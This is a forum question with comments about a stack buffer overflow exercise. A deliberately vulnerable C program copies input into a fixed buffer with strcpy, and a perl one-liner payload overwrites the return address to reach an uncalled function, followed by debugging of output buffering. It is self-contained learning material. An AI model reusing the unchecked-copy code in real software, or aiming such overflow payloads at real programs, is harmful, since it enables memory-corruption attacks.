0

I am trying to call a dead function using buffer overflow. The binary is compiled on a 64-bit system with -fno-stack-protector and -no-pie. ASLR is turned off.

Here is the code:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

void clandestine(){
    char soul[] = "\x9\x19\xe\x1d\x2\x1f\x12\x66\x2\x18\x66\x1f\x3\xe\x66\x18\x4\x1e\x7\x66\x4\xd\x66\x1c\x2\x1f";
    puts("Did you find this?");
    putchar('Y');

    char temp = 'K';
    int i = 0;

    while(i<33){
        soul[i] = soul[i] ^ temp;
        putchar(soul[i]);
        i++;
    }
}

void start(char *arg)

{
  char buffer [50]; 
  strcpy(buffer,arg);
  return;
}


int main(int argc,char **argv)

{
  start(argv[1]);
  return 0;
}

In this case I am trying to call clandestine function.

The disassembly for start is this:

Disassembly for function "start"

RDI register is populated with $rbp-0x40 which means that I will need 64 bytes to reach the RBP register followed by 8 bytes to corrupt the RBP and then the address of clandestine function. Here is the disassembly of clandestine function(ignore the difference in address)

enter image description here

address of clandestine

So my payload looks like this:

perl -e 'print "A"x72;print "\x42\x11\x40"'

When I run the source with this payload, I do hit clandestine function but I am not able to get my code flow past the puts statement.

Here is the output on running the binary with the above-mentioned payload:

Output on running the binary with the above-mentioned payload

Why does the execution stop after the puts call? I tried adding another puts call and it worked fine. In fact, I also tried replacing the RIP register with the address of the clandestine function within GDB and it works perfectly fine and I am able to see the string printed using the while loop.

Output when I replace modify the RIP register within GDB

Why does the execution stop after puts when I try to overflow the binary with my payload?

  • Sorry, but the clandestine disassembly provided not only seems to be 32 bit and use different order of parameters, which hurts my brain, but also does not correspond to the code? – Peter Harmann Apr 29 at 18:22
  • @PeterHarmann I added the 64-bit code. I was trying to run the code in 32 bit and see if it makes any difference. But it did not. I also change the optimization level to 0. Did not make any difference. – pankul garg Apr 29 at 18:28
  • I found something very weird though, adding a puts(""); after the while loop prints everything that the putchar was supposed to print as well. I am not able to understand why this happens. – pankul garg Apr 29 at 18:29
  • Of course. Add flush() at the end I guess. The program likely crashes on the malformed stack after clandestine() returns but the text is still in buffer, as putchar() uses buffer if I am not mistaken. – Peter Harmann Apr 29 at 18:31
  • I used a fflush(stdout) after the while, I still don't see the anything after "Did you find this?" – pankul garg Apr 29 at 19:04

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.